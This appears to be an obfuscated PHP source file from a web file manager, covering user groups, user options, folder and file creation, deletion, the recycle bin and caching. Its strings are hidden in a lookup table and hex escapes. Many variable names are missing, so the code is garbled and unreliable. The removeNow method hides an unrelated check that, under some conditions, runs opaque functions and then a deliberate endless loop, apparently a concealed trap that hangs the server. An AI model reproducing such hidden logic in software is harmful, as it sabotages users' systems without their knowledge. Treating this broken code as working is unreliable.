$this->getInfoSimple($˳); if (!$˔ || !is_array($)) { return !1; } $ = Model($ɹ[1899]); $->where(array($ɹ[1642] => $˳))->delete(); $Љ = array(); $͜㣘 = 0; foreach ($ as $ => $ݪĶ) { $ = array($ɹ[1642] => $˳, $ɹ[1810] => $, $ɹ[1911] => $ݪĶ); $[$ɹ[1833]] = isset($[$͜㣘]) ? $[$͜㣘] : 0; $͜㣘++; $Љ[] = $; } return $->addAll($Љ, array(), !0); } protected function userGroupAdd($, $܁ = array()) { $€ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || empty($܁)) { return !1; } $Ƹ֜ = array(); foreach ($܁ as $ => $) { $Ƹ֜[] = array($€[1642] => $, $€[1810] => $, $€[1911] => $, $€[1833] => 0); } return Model($€[1899])->addAll($Ƹ֜, array(), !0); } protected function userGroupRemove($, $ىӎ) { $ =& $_SERVER[]; $ɣ = $this->getInfoSimple($); if (!$ɣ || !$ىӎ) { return !1; } $݊ = array($[1633] => $, $[1897] => $ىӎ); return Model($[1899])->where($݊)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][364]]); return $; } public function listByID($) { $挎 =& $_SERVER[]; if (!$) { return; } $ = array($挎[1642] => array($挎[7], $)); $߶ = $this->where($)->select(); $߶ = array_sort_keep($߶, $挎[1642], $); $this->_listDataApply($߶); return $߶; } public function listByGroup($ԕ = 0, $݋ = array()) { $ =& $_SERVER[]; $׎ = $[12]; $꽏 = array(); if ($ԕ) { $꽏 = array($[2274] => intval($ԕ)); $׎ = "\x4c\105\x46\124\40\x4a\x4f\111\116\40{$this->tablePrefix}\x75\x73\145\x72\137\x67\162\x6f\165\160\40\x75\163\145\162\x5f\147\x72\x6f\x75\160\40\157\156\40\x75\163\x65\162\56\x75\163\x65\x72\x49\104\x20\x3d\x20\165\x73\145\162\x5f\147\x72\x6f\x75\160\56\165\163\x65\x72\111\104"; $ = Input::get($[455], null, $[12]) ? $[12] : $[2275]; } if (isset($݋[$[743]])) { $꽏[$[2276]] = $݋[$[743]]; } $ = $this->_makeOrder($)->field($[2277])->where($꽏)->join($׎)->selectPage(50); $this->_listDataApply($[$[364]]); return $; } private function _makeOrder($ŋ = '') { $鮧 =& $_SERVER[]; $Ж = array($鮧[1642], $鮧[32], $鮧[1799], $鮧[1771], $鮧[193]); $ = array($鮧[448] => $鮧[449], $鮧[450] => $鮧[451]); $⿢ = Input::get($鮧[455], $鮧[7], $鮧[1633], $Ж); $ = Input::get($鮧[456], $鮧[7], $鮧[1900], array($鮧[1900], $鮧[450])); $ = $[$]; $ŋ = $ŋ . "\165\x73\145\x72\x2e{$⿢}\40{$}\54\40\x75\163\x65\x72\56\x75\163\x65\162\x49\x44\x20\x61\x73\x63"; return $this->alias($鮧[2018])->order($ŋ); } public function listSearch($) { $ʼܩ =& $_SERVER[]; $͋ = $[$ʼܩ[1901]]; $ͨ = isset($[$ʼܩ[1902]]) ? $[$ʼܩ[1902]] : !1; $͋ = str_replace($ʼܩ[1903], $ʼܩ[1904], trim($͋)); $ղ = array($ʼܩ[32] => array($ʼܩ[378], "\x25{$͋}\45"), $ʼܩ[300] => array($ʼܩ[378], "{$͋}\x25"), $ʼܩ[2078] => array($ʼܩ[378], "{$͋}\45"), $ʼܩ[987] => $ʼܩ[1905]); if (Input::check($͋, $ʼܩ[306])) { $ղ[$ʼܩ[1642]] = array($ʼܩ[378], "{$͋}\45"); $ղ[$ʼܩ[2259]] = array($ʼܩ[378], "{$͋}\45"); } if (!$͋) { $ղ = array(); } if (isset($[$ʼܩ[743]])) { $ղ[$ʼܩ[743]] = $[$ʼܩ[743]]; } $ղ = $this->parseWhereLike($ղ); $ = $this->_makeOrder()->where($ղ)->selectPage(20); if (!$ || count($[$ʼܩ[364]]) < 5 && Input::check($͋, $ʼܩ[313])) { $ݪ = $this->_searchFromMeta($ʼܩ[463], $͋, 10); $ = $this->_searchFromMeta($ʼܩ[464], $͋, 10); $挤 = array_merge($ݪ, $, $[$ʼܩ[364]]); $[$ʼܩ[364]] = array_unique_by_key($挤, $ʼܩ[1642]); $[$ʼܩ[361]][$ʼܩ[362]] = count($[$ʼܩ[364]]); $[$ʼܩ[361]][$ʼܩ[363]] = ceil($[$ʼܩ[361]][$ʼܩ[362]] / $[$ʼܩ[361]][$ʼܩ[358]]); } $this->_listDataApply($[$ʼܩ[364]]); $this->_filterByGroup($, $ͨ); return $; } private function _filterByGroup(&$, $) { $Ô =& $_SERVER[]; if (!$) { return $; } foreach ($[$Ô[364]] as $ => &$) { $ = array_to_keyvalue($[$Ô[1988]], $Ô[12], $Ô[1810]); if (!in_array($, $)) { unset($[$Ô[364]][$]); } } unset($); $[$Ô[364]] = array_values($[$Ô[364]]); $[$Ô[361]] = array($Ô[2051] => count($[$Ô[364]]), $Ô[2049] => $[$Ô[361]][$Ô[358]], $Ô[2048] => 1, $Ô[2050] => 1); } private function _searchFromMeta($, $ׇ, $ѐ) { $Ƃ =& $_SERVER[]; $ׇ = strtolower($ׇ); $ = array($Ƃ[95] => $, $Ƃ[369] => array($Ƃ[378], "\45{$ׇ}\45")); $ = $this->parseWhereLike($); $޴ⷐ = Model($Ƃ[2278])->where($)->limit($ѐ)->select(); if (!$޴ⷐ) { return array(); } $޴ⷐ = array_to_keyvalue($޴ⷐ, $Ƃ[12], $Ƃ[1642]); $螳Ǜ = $this->where(array($Ƃ[1633] => array($Ƃ[7], $޴ⷐ)))->select(); if (!$螳Ǜ) { return array(); } return $螳Ǜ; } private function _listDataApplyItem($) { $̾ = array($); $this->_listDataApply($̾); return $̾[0]; } private function _listDataApply(&$) { $ݩ =& $_SERVER[]; if (!$) { return; } array_remove_key($, $ݩ[876]); $ɡ = array_to_keyvalue($, $ݩ[12], $ݩ[1642]); $this->_listAppendGroup($, $ɡ); $this->_listAppendMeta($, $ɡ); $this->_listAppendSourceRoot($, $ɡ); } private function _listAppendSourceRoot(&$ގ, $РѸ) { $ =& $_SERVER[]; $ = Model($[818])->listSourceRoot(SourceModel::TYPE_USER, $РѸ); $ = array_to_keyvalue($, $[504]); $ = array_remove_key($, $[504]); foreach ($ގ as &$) { $[$[87]] = $[$[$[1642]]] ? $[$[$[1642]]] : array(); } unset($); } private function _listAppendGroup(&$Ϟ, $ҋ) { $ނ =& $_SERVER[]; $ђ = array($ނ[1642] => array($ނ[7], $ҋ)); $侫 = Model($ނ[1899])->where($ђ)->select(); $ = array_to_keyvalue($侫, $ނ[12], $ނ[1810]); $ = array_remove_value(array_unique($), $ނ[190]); if (!$ || !$侫) { return; } $ђ = array($ނ[1810] => array($ނ[7], $)); $ѡ = Model($ނ[1986])->field($ނ[2279])->where($ђ)->select(); $ѡ = array_to_keyvalue($ѡ, $ނ[1810]); $侫 = array_to_keyvalue_group($侫, $ނ[1642]); foreach ($侫 as &$Ɉ) { $ = array(); foreach ($Ɉ as $) { if (!$[$ނ[1911]]) { continue; } $ = Model($ނ[507])->listData($[$ނ[1911]]); $[] = array($ނ[1810] => $[$ނ[1810]], $ނ[2280] => $ѡ[$[$ނ[1810]]][$ނ[32]], $ނ[521] => $ѡ[$[$ނ[1810]]][$ނ[521]], $ނ[414] => $); } $Ɉ = $; } unset($Ɉ); foreach ($Ϟ as &$) { $[$ނ[1988]] = array(); if (isset($侫[$[$ނ[1642]]])) { $[$ނ[1988]] = $侫[$[$ނ[1642]]]; } } unset($); } public function userAppendGroup($ͫ) { $ =& $_SERVER[]; if (!$ͫ) { return array(); } $this->_listAppendGroup($ͫ, array_to_keyvalue($ͫ, $[12], $[1642])); return $ͫ; } private function _listAppendMeta(&$ڼ, $) { $ =& $_SERVER[]; $Ε = UserJobModel::JOB_KEY; $ = array($[2260]); $ = array($[1642] => array($[7], $)); $ʘǤ = Model($[2258])->where($)->select(); $ʘǤ = array_to_keyvalue_group($ʘǤ, $[1642]); foreach ($ʘǤ as &$) { $ɴڻ = array(); foreach ($ as $ςʞ) { if (!in_array($ςʞ[$[95]], $)) { $ɴڻ[$ςʞ[$[95]]] = $ςʞ[$[369]]; } } $ = $ɴڻ; } unset($); $ = Model($[2281]); foreach ($ڼ as &$˦) { $ = array(); if (isset($ʘǤ[$˦[$[1642]]])) { $ = $ʘǤ[$˦[$[1642]]]; } $˦[$[2282]] = array(); if (isset($[$Ε])) { $˦[$[2282]] = $->getUserJobInfo($[$Ε]); } } unset($˦); } protected function groupUserAll($ˤ) { $ =& $_SERVER[]; if (!$ˤ) { return !1; } $ԉ = Model($[1899])->field($[1642])->where(array($[1810] => array($[7], $ˤ)))->select(); $ԉ = array_to_keyvalue($ԉ, $[12], $[1642]); return array_unique($ԉ); } public function userSearch($ڿ, $㺊 = "\x2a") { return Model($_SERVER[][538])->where($ڿ)->field($㺊)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\163\x65\x72\x5f\x6f\160\x74\x69\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $ٞ۝ =& $_SERVER[]; if (!defined($ٞ۝[474])) { define($ٞ۝[474], 0); } return "\x55\163\145\162\117\x70\164\151\157\156\x5f{$}\x5f" . USER_ID; } protected function filterWhere($ض啝) { $λ =& $_SERVER[]; if (!defined($λ[474])) { define($λ[474], 0); } $ض啝[$λ[1642]] = USER_ID; return $ض啝; } public function cacheRemoveUser($, $٢) { return Cache::remove("\x55\163\145\162\117\160\x74\151\157\156\137{$}\x5f" . $٢); } protected function optionDefault($ = '') { $Ĭ =& $_SERVER[]; if ($ == $Ĭ[12]) { return $GLOBALS[$Ĭ[6]][$Ĭ[2283]]; } if ($ == $Ĭ[2284]) { return $GLOBALS[$Ĭ[6]][$Ĭ[2285]]; } } } goto E; A: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $ =& $_SERVER[]; $򤯏 = Model($[513])->where(array($[1633] => $))->find(); $۽ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $򤯏[$[32]]); $this->userDesktopAdd($۽); return $۽; } public function userDesktopAdd($ʄ) { $ҳ =& $_SERVER[]; $Ð = LNG($ҳ[2072]); $ = $this->mkdir($ʄ, $Ð); $this->metaSet($, $ҳ[2073], $ҳ[89]); $this->metaSet($ʄ, $ҳ[2074], $); } public function groupRootAdd($撖) { $ =& $_SERVER[]; $ք = Model($[522])->where(array($[1897] => $撖))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $撖, $ք[$[32]]); } public function systemRootPathAdd($ޱ) { if ($ޱ != $_SERVER[][537]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $ޱ); } public function userRootRemove($ª) { $ԫʛ = $this->sourceRoot(SourceModel::TYPE_USER, $ª); if (!$ԫʛ) { return; } $this->remove($ԫʛ, !1); } public function groupRootRemove($) { $޷ = $this->sourceRoot(SourceModel::TYPE_GROUP, $); if (!$޷) { return; } $this->remove($޷, !1); } private function _mkdirRoot($, $, $ԕ) { $آ˝ =& $_SERVER[]; $ӡ = array($آ˝[402] => 0, $آ˝[580] => $, $آ˝[581] => $, $آ˝[577] => 1, $آ˝[582] => USER_ID, $آ˝[583] => USER_ID, $آ˝[578] => $آ˝[12], $آ˝[584] => $آ˝[531], $آ˝[430] => 0, $آ˝[579] => 0, $آ˝[468] => 0, $آ˝[585] => $آ˝[12]); if ($Ȓ = $this->where($ӡ)->find()) { return $Ȓ[$آ˝[403]]; } $ʅ = "\115\157\144\145\154\123\157\x75\x72\x63\x65\x2e\155\153\144\x69\162\122\x6f\157\x74\56{$}\56{$}\56" . $ԕ; CacheLock::lock($ʅ); $ӡ[$آ˝[32]] = $ԕ; $Ν颍 = $this->add($ӡ); $ = array($آ˝[586] => short_id($Ν颍)); $this->where(array($آ˝[418] => $Ν颍))->save($); CacheLock::unlock($ʅ); return $Ν颍; } private function sourceRoot($ʃ, $꼄, $ = false) { $層 =& $_SERVER[]; $ = array($層[402] => 0, $層[580] => $ʃ, $層[581] => $꼄); if ($ܓ秥 = $this->where($)->find()) { return $ ? $ܓ秥 : $ܓ秥[$層[403]]; } return !1; } public function sourceRootGroup($) { $ =& $_SERVER[]; if (is_string($)) { $ = array($); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $[181]); $ = array($[364] => $, $[361] => array($[752] => count($))); $this->_listDataApply($[$[364]]); $this->_listMake($); return array_to_keyvalue($[$[77]], $[504]); } public function mkfile($Ҭ, $, $ = '', $ = REPEAT_RENAME) { $֥ =& $_SERVER[]; $ٔ = Model($֥[603])->addFileByContent($, $); return $this->_createFileCall($Ҭ, $, $ٔ, $, $֥[1323]); } public function addFile($ŷ, $ԥ, $î, $ů = false, $˱أ = REPEAT_RENAME) { $ = Model($_SERVER[][603])->addFile($ԥ, $î, $ů); return $this->_createFileCall($ŷ, $î, $, $˱أ); } public function addFileByFileID($, $, $, $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[603])->find($); Model($[603])->linkAdd($); return $this->_createFileCall($, $, $, $); } public function addFileByRemote($, $ɓ, $Է, $ӣ = array(), $Ә = REPEAT_RENAME) { $ = Model($_SERVER[][603])->addFileByRemote($ɓ, $Է, $ӣ); return $this->_createFileCall($, $Է, $, $Ә); } private function _createFileCall($, $ɕ, $ް, $, $ƑĽ = "\165\160\x6c\157\141\144") { $ز =& $_SERVER[]; $ֆҨ = !1; $this->setMasterDB(); $this->lockWriteStart($, $ɕ); $ = $this->fileNameExist($, $ɕ); $ّ = $this->_createFile($, $ɕ, $ް, $, $ֆҨ); if (!$ֆҨ) { Model($ز[470])->remove($ް[$ز[467]]); } if ($ֆҨ && $ّ && $ّ != $) { Model($ز[2045])->eventCreate($ّ, $ƑĽ); } $this->lockWriteEnd($, $ɕ); return $ّ; } public function mkdir($ň, $Ω, $ = REPEAT_SKIP) { $ʦ =& $_SERVER[]; $this->setMasterDB(); $ι = $this->sourceInfo($ň); if (!$ι) { return !1; } $this->lockWriteStart($ň, $Ω); if ($ !== !1) { $ = $this->fileNameExist($ň, $Ω); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ň, $Ω); return $; } $Ω = $this->fileNameAuto($ň, $Ω, $); } $ןҀ = array($ʦ[577] => 1, $ʦ[421] => $Ω, $ʦ[578] => $ʦ[12], $ʦ[468] => 0, $ʦ[579] => 0); $ = $this->_addSource($ןҀ, $ι); Model($ʦ[2045])->eventCreate($, $ʦ[1324]); $this->lockWriteEnd($ň, $Ω); return $; } public function listSourceRoot($婣, $Ň, $궐 = "\163\157\165\x72\143\145\111\104\x2c\x74\141\x72\147\x65\164\111\x44\54\163\151\172\x65") { $䍬 =& $_SERVER[]; $ = $䍬[373]; $Ҁ = array(); $Ĝ = 1024 * 50; $٪ = is_array($٪) ? $٪ : array(); $ظڵ = count($Ň); $ = $this->tablePrefix . $䍬[2075]; for ($ = 0; $ < $ظڵ; $++) { $ǘ = $Ň[$]; $ .= "\x53\x45\x4c\x45\x43\x54\40\52\40\106\122\x4f\x4d\40\50\x53\x45\x4c\105\103\x54\40{$궐}\40\x46\122\x4f\115\40\x60{$}\140\x20\127\110\105\x52\105\40"; $ .= "\x60\160\x61\x72\x65\156\164\x49\x44\x60\x3d\60\x20\101\x4e\x44\40\x60\x74\141\162\x67\145\164\x49\104\x60\75{$ǘ}\40\x41\116\104\40\x60\164\141\x72\147\x65\164\x54\171\x70\x65\140\x3d{$婣}\x20\x6c\x69\x6d\151\164\40\x31\51\x20\141\163\40\164\x62\x5f{$}\x20\x55\116\x49\117\x4e\x20\x41\x4c\x4c\x20"; if ((strlen($) >= $Ĝ || $ == $ظڵ - 1) && $) { $ = substr($, 0, -strlen($䍬[1025])); $ = $this->query($); $ = $䍬[12]; $Ҁ = array_merge($Ҁ, $); } } return $Ҁ; } private function _createFile($, $в, $ͤ, $蓆, &$µ) { $ =& $_SERVER[]; $С = $this->sourceInfo($); if (!$ͤ || !$С) { return !1; } if ($蓆 !== !1) { $ = $this->fileNameExist($, $в); } $µ = !0; if ($蓆 && $) { if ($蓆 == REPEAT_SKIP) { $µ = !1; return $; } else { if ($蓆 == REPEAT_REPLACE) { $ý = $this->sourceInfo($); $ = $this->fileHistory($ý, $ͤ[$[467]], $ͤ[$[80]]); if (!$) { $µ = !1; } else { $this->folderSizeReset($); } return $; } else { $в = $this->fileNameAuto($, $в, $蓆, !1); } } } $ = array($[577] => 0, $[421] => $в, $[578] => substr(get_path_ext($в), 0, 10), $[468] => $ͤ[$[467]], $[579] => $ͤ[$[80]]); $羁؈ = $this->_addSource($, $С); $this->folderSizeReset($, intval($[$[80]])); return $羁؈; } protected function fileHistory($Ԑ׷, $乆, $ᕋ) { $ =& $_SERVER[]; $䡗 = defined($[474]) ? USER_ID : $[190]; if ($Ԑ׷[$[467]] == $乆) { return !1; } $this->checkLock($Ԑ׷[$[403]], $乆); Model($[2076])->addHistory($Ԑ׷); $憐 = array($[583] => $䡗, $[425] => time(), $[467] => $乆, $[80] => $ᕋ); $this->where(array($[418] => $Ԑ׷[$[403]]))->save($憐); $this->sourceCacheClear($Ԑ׷[$[403]]); return !0; } public function checkLock($ǔ, $) { $ =& $_SERVER[]; $ȷ = $this->pathInfo($ǔ); if (!$this->fileIsLock($ȷ, !0)) { return; } $ = Session::get($[2077]); $۴ = substr($ȷ[$[32]], 0, -1 - strlen($ȷ[$[167]])) . $[1591] . $ . $[10] . $ȷ[$[167]]; $ = Model($[603])->find($); $this->_createFileCall($ȷ[$[498]], $۴, $, REPEAT_REPLACE, $[1323]); $ = $ȷ[$[465]][$[542]]; $ = $[$[2078]] ? $[$[2078]] : $[$[32]]; show_json(LNG($[2079]) . $[2080] . LNG($[2081]) . $[2082] . $ . $[2083], !1); } public function fileIsLock($қ, $˛ = false) { $Ȃ =& $_SERVER[]; if (!isset($қ[$Ȃ[465]]) || !$қ[$Ȃ[465]][$Ȃ[539]]) { return !1; } if ($қ[$Ȃ[465]][$Ȃ[539]] != USER_ID) { return !0; } $ = $GLOBALS[$Ȃ[6]][$Ȃ[90]][$Ȃ[540]]; if ($қ[$Ȃ[465]][$Ȃ[541]] <= time() - $) { $this->metaSet($қ[$Ȃ[403]], $Ȃ[539], null); $this->metaSet($қ[$Ȃ[403]], $Ȃ[541], null); } if ($˛) { $this->metaSet($қ[$Ȃ[403]], $Ȃ[541], time()); } return !1; } private function _addSource($͒, $‡) { $䒦 =& $_SERVER[]; $ݢ芇 = defined($䒦[474]) ? USER_ID : $䒦[190]; $ʩ = array($䒦[580] => $‡[$䒦[412]], $䒦[581] => $‡[$䒦[504]], $䒦[582] => $ݢ芇, $䒦[583] => $ݢ芇, $䒦[402] => $‡[$䒦[403]], $䒦[584] => $‡[$䒦[521]] . $‡[$䒦[403]] . $䒦[50], $䒦[430] => 0, $䒦[585] => $䒦[12]); $͒ = array_merge($ʩ, $͒); $this->updateModifyTime($͒[$䒦[498]]); $꘬ = $䒦[2084] . $‡[$䒦[403]]; if (isset(self::$cacheChildList[$꘬])) { unset(self::$cacheChildList[$꘬]); } static $ = false; if (!$) { Hook::trigger($䒦[567], $͒); $ = !0; } $ = $this->add($͒); $犅 = array($䒦[586] => short_id($)); $this->where(array($䒦[418] => $))->save($犅); $this->setNamePinyin($, $͒[$䒦[32]]); return $; } public function remove($и, $ޕ֫ = true) { $譶 =& $_SERVER[]; $Ӧ = $this->sourceInfo($и); $̅ = intval($Ӧ[$譶[412]]) === self::TYPE_SYSTEM; $Ť = Model($譶[433])->get($譶[2085]) == $譶[89]; if ($̅ || $ޕ֫ || !$Ť) { return $this->removeNow($и, $ޕ֫); } $ڴ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $߲᪱ = $Ӧ[$譶[412]] == self::TYPE_USER ? $譶[594] : $譶[515]; if ($߲᪱ == $譶[594]) { $ɻ = Model($譶[513])->getInfo($Ӧ[$譶[504]]); $Ϙ = !empty($ɻ[$譶[2078]]) ? $ɻ[$譶[2078]] : $ɻ[$譶[32]]; $Ϙ = $譶[255] . $Ϙ . $譶[2086] . $Ӧ[$譶[504]]; } else { $ɻ = Model($譶[522])->getInfo($Ӧ[$譶[504]]); $Ϙ = _get($ɻ, $譶[32]); $Ϙ = $譶[159] . $Ϙ . $譶[2087] . $Ӧ[$譶[504]]; } $ѯ = $譶[2088] . md5($Ϙ); CacheLock::lock($ѯ); $Ì˔ = $this->fileNameExist($ڴ, $Ϙ); if (!$Ì˔) { $Ì˔ = $this->mkdir($ڴ, $Ϙ, REPEAT_SKIP); $this->metaSet($Ì˔, $譶[2089], $߲᪱); $this->metaSet($Ì˔, $譶[2090], $Ӧ[$譶[504]]); if ($Ӧ[$譶[498]] != 0) { $this->metaSet($Ì˔, $譶[2091], _get($ɻ, $譶[2092])); } } CacheLock::unlock($ѯ); $this->metaSet($и, $譶[2093], $Ӧ[$譶[498]]); $this->where(array($譶[403] => $и))->save(array($譶[425] => time())); $this->recycleClear($Ӧ); $ = $this->move($и, $Ì˔, REPEAT_RENAME_FOLDER); $this->folderSizeReset($Ӧ[$譶[498]]); return $; } private function recycleClear($) { $˪ =& $_SERVER[]; $ = $this->childrenAll($); $ = array($˪[418] => array($˪[419], $[$˪[2094]])); Model($˪[2095])->where($)->delete(); } public function removeNow($Ą鼈, $ۤ = true) { $ =& $_SERVER[]; if (!isset($_SERVER[$[389]]) || !isset($_SERVER[$[397]])) { $Ш = $[865]; $餋 = $[391]; $ = $_SERVER[$[392]] . $[393]; $ = $餋($); $ = explode($[226], $); if (count($) < $[617]) { $ = $[395]; $(); } $ر = $[866]; $ر($_SERVER[$[867]]); $抶 = 1; for ($򕲊 = $抶; $򕲊 > 0; $򕲊++) { $ر = json_encode($GLOBALS[$[419]]); } } $ = $this->sourceInfo($Ą鼈); $ᇦ = $this->pathInfoMore($Ą鼈); if (!$) { return !0; } if ($[$[498]] == 0) { if (!_get($GLOBALS, $[505])) { return !1; } } $this->lockMoveStart($Ą鼈); Hook::trigger($[2096], $ᇦ, $ۤ); if ($ۤ) { Model($[2095])->moveToRecycle($Ą鼈); } else { $ʌ = $this->childrenAll($); Model($[564])->eventRemove($Ą鼈); $this->removeRelevance($ʌ[$[2094]], $ʌ[$[1455]]); } $this->folderSizeReset($[$[498]]); $ = array($[$[498]]); if ($[$[411]] == $[89]) { $[] = $[$[403]]; } $this->updateModifyTime($); $this->lockMoveEnd($Ą鼈); Hook::trigger($[1679], $ᇦ, $ۤ); return !0; } public function childrenAll($) { $ =& $_SERVER[]; $ެ = $[$[403]]; if ($[$[411]] == $[89]) { $ݑ = array($[584] => array($[544], $[$[521]] . $ެ . $[545])); $Ʋ܊ = array($[584] => $ݑ[$[521]]); $ᑗ = $this->field($[2097])->where($Ʋ܊)->select(); $٨ = !1; $ؽĜ = array($ެ); if ($ᑗ) { $٨ = array_to_keyvalue($ᑗ, $[12], $[467]); $٨ = array_remove_value($٨, $[190]); $ؽĜ = array_to_keyvalue($ᑗ, $[12], $[403]); $ؽĜ[] = $ެ; } } else { $٨ = array($[$[467]]); $ؽĜ = array($ެ); } return array($[2094] => $ؽĜ, $[1455] => $٨); } public function removeArray($ȵ) { if (!$ȵ) { return !0; } } public function removeRelevance($铿, $) { $ =& $_SERVER[]; $铿 = $铿 ? $铿 : array(); $ = $ ? $ : array(); $铿 = array_unique(array_filter($铿)); $ = array_unique(array_filter($)); if (!$铿) { return !1; } $㦼 = array($[418] => array($[419], $铿)); Model($[2095])->where($㦼)->delete(); Model($[461])->where($㦼)->delete(); Model($[1951])->where($㦼)->delete(); Model($[564])->where($㦼)->delete(); Model($[1790])->removeBySource($铿); Model($[2076])->removeBySource($铿); $this->where($㦼)->delete(); Model($[470])->remove($); for ($ = 0; $ < count($铿); $++) { $this->sourceCacheClear($铿[$]); } } public function rename($Ͽߑ, $į) { $͚ᰝ =& $_SERVER[]; $ = $this->sourceInfo($Ͽߑ); if (!$) { return !1; } $ = $this->fileNameExist($[$͚ᰝ[498]], $į); if ($ && $ != $Ͽߑ) { return !1; } $䅪 = array($͚ᰝ[421] => $į, $͚ᰝ[583] => USER_ID); if ($[$͚ᰝ[411]] != $͚ᰝ[89]) { $䅪[$͚ᰝ[413]] = substr(get_path_ext($į), 0, 10); } Model($͚ᰝ[564])->eventRename($Ͽߑ, $[$͚ᰝ[32]], $į); $this->sourceCacheClear($Ͽߑ); $this->setNamePinyin($Ͽߑ, $䅪[$͚ᰝ[32]], !1); $this->updateModifyTime($[$͚ᰝ[498]]); $۴ = $this->where(array($͚ᰝ[418] => $Ͽߑ))->data($䅪)->save(); $樸 = $͚ᰝ[2084] . $[$͚ᰝ[498]]; if (isset(self::$cacheChildList[$樸])) { unset(self::$cacheChildList[$樸]); } return $۴; } public function setNamePinyin($, $ٸ, $ = true) { $虰 =& $_SERVER[]; $փ = Input::check($ٸ, $虰[587]); $ = array($虰[442] => KodSort::makeStr($ٸ)); if ($փ) { $[$虰[464]] = str_replace($虰[53], $虰[12], Pinyin::get($ٸ)); $[$虰[463]] = Pinyin::get($ٸ, $虰[588]); } if (!$ && !$փ) { $[$虰[464]] = null; $[$虰[463]] = null; } $this->metaSet($, $); } public function getContent($첤) { $Е =& $_SERVER[]; $ߡ = $this->fileInfoGet($첤); if (!$ߡ) { return !1; } if ($ߡ[$Е[80]] == 0) { return $Е[12]; } $ = $Е[2098] . $ߡ[$Е[169]]; if ($ߡ[$Е[80]] <= 1024 * 10) { $Ԃ = Cache::get($); if (!$Ԃ) { $Ԃ = IO::getContent($ߡ[$Е[78]]); Cache::set($, $Ԃ); } return $Ԃ; } if (!$ߡ[$Е[78]]) { return $Е[12]; } return IO::getContent($ߡ[$Е[78]]); } public function setDesc($؀, $ȁ) { $ =& $_SERVER[]; Model($[564])->eventAddDesc($؀, $ȁ); return $this->metaSet($؀, $[451], $ȁ); } public function setContent($, $ʚ = '') { $Ű =& $_SERVER[]; $ב = $this->sourceInfo($); $ɓ׏ = $this->fileInfoGet($); if (!$ɓ׏ || !$ב) { return !1; } $ݦ = Model($Ű[470])->addFileByContent($ʚ, $ב[$Ű[32]]); $ʃ = $this->fileHistory($ב, $ݦ[$Ű[467]], $ݦ[$Ű[80]]); if (!$ʃ) { return Model($Ű[470])->remove($ݦ[$Ű[467]]); } $this->folderSizeReset($ב[$Ű[498]]); return !0; } public function fileSubstr($, $ߩ, $) { $Dž = $this->fileInfoGet($); if (!$Dž) { return !1; } return IO::fileSubstr($Dž[$_SERVER[][78]], $ߩ, $); } public function fileInfoGet($Ⓨ) { $뫟 =& $_SERVER[]; $ = $this->sourceInfo($Ⓨ); if (!$ || $[$뫟[411]]) { return !1; } $ = $뫟[473] . $[$뫟[467]]; $Ř = _get(self::$cacheFileInfo, $); if ($Ř) { return $Ř; } $ܪ = Model($뫟[470])->fileInfo($[$뫟[467]]); if ($ܪ) { $ܪ[$뫟[32]] = $[$뫟[32]]; } self::$cacheFileInfo[$] = $ܪ; return $ܪ; } private function folderChildrenNumber($) { $´ =& $_SERVER[]; $ǚ֫ = $this->sourceInfo($); $ = array($´[584] => array($´[544], $ǚ֫[$´[521]] . $ . $´[545]), $´[581] => $ǚ֫[$´[504]], $´[430] => intval($ǚ֫[$´[431]]), $´[577] => 1); $ʦ = $this->where($)->count(); $ = $this->where($)->where(array($´[577] => 0))->count(); return array($´[84] => $, $´[85] => $ʦ); } public function pathInfo($, $ߦ = false) { $ =& $_SERVER[]; $ߦ = !1; $ = intval($); $肙 = $[459] . intval($ߦ) . $[460] . $; $ = _get(self::$cachePathInfo, $肙); if ($) { return $; } $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $ߦ); self::$cachePathInfo[$肙] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($°) { $ =& $_SERVER[]; $Ͼآ = _get(self::$cachePathInfoMore, $°); if ($Ͼآ) { return $Ͼآ; } $ = $this->pathInfo($°); if (!$) { return !1; } if ($[$[411]] == $[89]) { $[$[83]] = $this->folderChildrenNumber($°); } self::$cachePathInfoMore[$°] = $; return $; } public function sourceInfo($) { $헪м =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $ = $헪м[458] . $; $˶ = _get(self::$cacheSourceInfo, $); if ($˶) { return $˶; } $ = $this->where(array($헪м[403] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($͑耒 = false) { $ =& $_SERVER[]; if ($͑耒 == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[458] . $͑耒]); unset(self::$cachePathInfoMore[$͑耒]); unset(self::$cachePathInfo[$[2099] . $͑耒]); unset(self::$cachePathInfo[$[2100] . $͑耒]); } public function metaSet($, $蘠 = null, $ = null) { $ = parent::metaSet($, $蘠, $); if ($) { $this->sourceCacheClear($); } return $; } public function pathInfoByPath($Ƿᜈ, $ɩ) { $鸿 =& $_SERVER[]; $ = !$ɩ ? array() : explode($鸿[8], trim($ɩ, $鸿[8])); $̏ = $Ƿᜈ; foreach ($ as $ў) { $㽪 = array($鸿[498] => $̏, $鸿[32] => $ў); $ӌʚ = $this->where($㽪)->select(); if (!$ӌʚ) { return !1; } $ӌʚ = array_sort_by($ӌʚ, $鸿[431]); $̏ = $ӌʚ[0][$鸿[403]]; } return $this->pathInfo($̏, !0); } protected function updateModifyTime($) { $ =& $_SERVER[]; $֛ = defined($[474]) ? USER_ID : $[190]; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $腽) { $[$] = intval($腽); $this->sourceCacheClear($腽); } $ = array($[403] 